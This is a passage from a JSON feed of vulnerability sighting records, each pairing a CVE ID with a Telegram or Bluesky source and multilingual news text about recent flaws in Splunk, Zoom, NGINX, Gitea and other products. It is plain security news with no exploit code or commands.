\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-16T19:00:32.174138Z"}, {"uuid": "1bc0fdbd-be50-4e27-8f4a-628aa8db7185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqryqswhzc2m", "content": "6\u6708\u516c\u8868\u306e\u300cSplunk Enterprise\u300d\u8106\u5f31\u6027\u3001\u60aa\u7528\u3092\u78ba\u8a8d\n\n2026\u5e746\u670810\u65e5\u306b\u516c\u8868\u3055\u308c\u305f\u300cSplunk Enterprise\u300d\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\u3002Splunk\u3084\u7c73\u5f53\u5c40\u3067\u306f\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670818\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u300cCVE-2026-20253\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u540c\u8106\u5f31\u6027\u306f\u3001\u300cPostgreSQL\u300d\u95a2\u9023\u306e\u88dc\u52a9\u30b5\u30fc\u30d3\u30b9\u3092\u63d0\u4f9b\u3059\u308b\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u304a\u3044\u3066\u8a8d\u8a3c\u304c\u6b20\u5982\u3057\u3066\u304a\u308a\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7d4c\u7531\u3067\u8a8d\u8a3c\u306a\u3057\u306b\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u304c\u53ef\u80fd\u3068\u306a\u308b\u3002", "creation_timestamp": "2026-07-16T19:45:13.282104Z"}, {"uuid": "ac5cce1f-4186-4517-9421-359cb2633020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/eLMxAxOv6CPS5Cv23ai3j3OmcVBUkQSKzJA_dC_EZ3dC-w", "content": "", "creation_timestamp": "2026-07-16T21:00:03.590199Z"}, {"uuid": "d5b6785c-1b27-4a74-badb-98434b6a0c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/eLMxAxOv6CPS5Cv23ai3j3OmcVBUkQSKzJA_dC_EZ3dC-w", "content": "", "creation_timestamp": "2026-07-17T00:00:10.754099Z"}, {"uuid": "b6091578-bbc9-4411-93cb-2015834ad1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/CnEki5hq44Oxm0CoGoLc7kB7HOehG1kiHXYcZhaPM81wL2c", "content": "", "creation_timestamp": "2026-07-17T00:00:37.723414Z"}, {"uuid": "d333b895-1b53-4b6e-a45b-6af4917022e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/7rIIDruJxEl38qBzoHyGM9oWQAxjhN2Km_TAbaElw9hJXAI", "content": "", "creation_timestamp": "2026-07-17T00:00:37.851384Z"}, {"uuid": "07e98df3-6d8c-4b8e-97f8-6eec7086c666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/FdcDblJgpr4Bk1hzBo52CEMZWjwW5t7MZ6W5ZLgqcoUP2nQ", "content": "", "creation_timestamp": "2026-07-17T00:00:48.743285Z"}, {"uuid": "d254defd-d7bc-44ed-aaf5-8b73397b96e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-17T01:00:15.466174Z"}, {"uuid": "d8100755-9ac5-4ff6-b377-6ccec5bc3397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/TB3sUB_uu5WF_jRq8K66TTyRIaSSs7xyuOpmS1TasPtzRF4", "content": "", "creation_timestamp": "2026-07-17T00:00:41.163521Z"}, {"uuid": "873e52e1-72ba-468f-9ff4-13ad8ce56d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-17T00:00:44.515858Z"}, {"uuid": "68a8e619-3b43-4655-96c5-48ede58eb6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/98223", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896-Gitea-Authentication-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a judgedbykira\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-15 19:05:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAn explanation and PoC to exploit CVE-2026-20896 Authentication Bypass Vulnerability on Gitea. Being able to steal session tokens for valid users in the Gitea instance.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:09.720174Z"}, {"uuid": "5a6a2da0-a217-44b6-a0b9-999cc1f3f700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "Telegram/MrO6V-Nf2RKKH_1IyOTTVmBid2k-chlt5XNWWiXZdJ3An5Q", "content": "", "creation_timestamp": "2026-07-17T00:00:46.697121Z"}, {"uuid": "5c3544db-5821-45c7-af10-75dd5985cd2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-17T00:00:49.074737Z"}, {"uuid": "5975993a-982a-4061-8dda-ac10548f792f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 